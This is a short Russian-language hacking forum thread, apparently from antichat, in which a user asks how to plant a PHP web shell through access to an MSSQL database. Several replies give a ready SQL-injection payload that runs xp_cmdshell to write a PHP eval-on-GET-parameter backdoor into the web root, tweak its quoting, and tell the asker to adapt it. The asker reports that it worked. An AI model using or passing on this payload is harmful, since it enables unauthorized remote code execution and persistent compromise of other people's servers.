Шелл через Mssql

[Sharky]

Как имея доступ к mssql базе залить php шелл

[Zitt]

Вы хоть пытайтесь поискать))
http://video.antichat.ru/file240.html


up
ссоории не заметил...

[guest3297]

Zitt (member.php?u=24151)
Читай внимательней у my и ms sql совсем разный синтаксис.

Sharky (member.php?u=24005)
Исполнение команд будет работать зальешь, не будет работать... ну разве только через админку, в остальных случаях...

[Ponchik]

'; use master exec xp_cmdshell 'echo "<? eval(stripslashes($_GET[c])); > C:/webserver/www/shell.php ?>"';--

Подкорректировать под себя

[guest3297]

; use master exec xp_cmdshell 'echo "<? eval(stripslashes($_GET[c])); > C:/webserver/www/shell.php ?>"';--
$_GET['c']

[ant0ha]

']$_GET['c']
вовсе не обязательно, притом что в запросе одинарные кавычки уже используются, тока конфликт возникнет

[Sharky]

всем спасибо...сделал что надо...тему можно закрыть...

[guest3297]

ну отпиши как сделал )

[NOmeR1]

А причём здесь "PHP, PERL, MySQL, JavaScript"?
Почему не "Уязвимости"?

[guest3297]

2 NOmeR1 (member.php?u=24820)
Так надо )